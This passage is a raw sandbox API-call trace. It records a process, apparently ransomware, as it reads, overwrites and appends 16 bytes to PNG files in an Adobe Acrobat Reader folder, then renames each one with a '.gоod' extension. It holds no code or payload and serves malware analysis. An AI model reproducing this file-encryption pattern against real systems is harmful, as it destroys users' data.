DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0185.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0185.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0185.202] GetFileType (hFile=0x824) returned 0x1 [0185.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0185.202] GetFileType (hFile=0x824) returned 0x1 [0185.202] WriteFile (in: hFile=0x824, lpBuffer=0x3688158*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x3688158*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0185.202] CloseHandle (hObject=0x824) returned 1 [0185.202] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png", lpFilePart=0x0) returned 0x8e [0185.202] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png.gоod", lpFilePart=0x0) returned 0x93 [0185.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0185.202] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6a991b87, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3c7a)) returned 1 [0185.202] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0185.202] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\icons_retina.png.gоod")) returned 1 [0185.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0185.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0185.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x3707df8 | out: lpFileInformation=0x3707df8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a)) returned 1 [0185.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0185.204] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0185.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0185.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0185.205] GetFileType (hFile=0x824) returned 0x1 [0185.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0185.205] GetFileType (hFile=0x824) returned 0x1 [0185.205] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0185.205] ReadFile (in: hFile=0x824, lpBuffer=0x3708340, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x3708340*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0185.375] CloseHandle (hObject=0x824) returned 1 [0185.375] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0185.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0185.375] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0185.376] GetFileType (hFile=0x824) returned 0x1 [0185.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0185.376] GetFileType (hFile=0x824) returned 0x1 [0185.376] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x225a [0185.376] WriteFile (in: hFile=0x824, lpBuffer=0x3631af8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x3631af8*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0185.377] CloseHandle (hObject=0x824) returned 1 [0185.377] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0185.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0185.377] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0185.377] GetFileType (hFile=0x824) returned 0x1 [0185.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0185.377] GetFileType (hFile=0x824) returned 0x1 [0185.377] ReadFile (in: hFile=0x824, lpBuffer=0x3634508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x3634508*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0185.403] CloseHandle (hObject=0x824) returned 1 [0185.403] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0185.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0185.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0185.404] GetFileType (hFile=0x824) returned 0x1 [0185.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0185.404] GetFileType (hFile=0x824) returned 0x1 [0185.404] WriteFile (in: hFile=0x824, lpBuffer=0x36331c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x36331c8*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0185.404] CloseHandle (hObject=0x824) returned 1 [0185.404] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0185.404] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png.gоod", lpFilePart=0x0) returned 0x94 [0185.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0185.404] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6ab852ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x226a)) returned 1 [0185.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0185.404] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations.png.gоod")) returned 1 [0185.405] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0185.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0185.405] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x36b1ed0 | out: lpFileInformation=0x36b1ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b)) returned 1 [0185.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0185.405] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0185.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0185.406] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0185.406] GetFileType (hFile=0x824) returned 0x1 [0185.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0185.406] GetFileType (hFile=0x824) returned 0x1 [0185.406] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0185.406] ReadFile (in: hFile=0x824, lpBuffer=0x36b2458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x36b2458*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0185.407] CloseHandle (hObject=0x824) returned 1 [0185.407] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0185.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0185.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0185.408] GetFileType (hFile=0x824) returned 0x1 [0185.408] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0185.408] GetFileType (hFile=0x824) returned 0x1 [0185.408] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x4d6b [0185.408] WriteFile (in: hFile=0x824, lpBuffer=0x36b3938*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x36b3938*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0186.410] CloseHandle (hObject=0x824) returned 1 [0186.687] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0186.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0186.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0186.688] GetFileType (hFile=0x81c) returned 0x1 [0186.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0186.688] GetFileType (hFile=0x81c) returned 0x1 [0186.688] ReadFile (in: hFile=0x81c, lpBuffer=0x3835ac8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x3835ac8*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0186.782] CloseHandle (hObject=0x81c) returned 1 [0186.782] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0186.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0186.782] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0186.782] GetFileType (hFile=0x81c) returned 0x1 [0186.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0186.782] GetFileType (hFile=0x81c) returned 0x1 [0186.782] WriteFile (in: hFile=0x81c, lpBuffer=0x3834768*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x3834768*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0186.782] CloseHandle (hObject=0x81c) returned 1 [0186.782] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0186.783] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png.gоod", lpFilePart=0x0) returned 0x9b [0186.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0186.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6b8c4b28, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d7b)) returned 1 [0186.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0186.783] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\illustrations_retina.png.gоod")) returned 1 [0186.784] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0186.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0186.784] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x36cec50 | out: lpFileInformation=0x36cec50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc)) returned 1 [0186.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0186.784] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 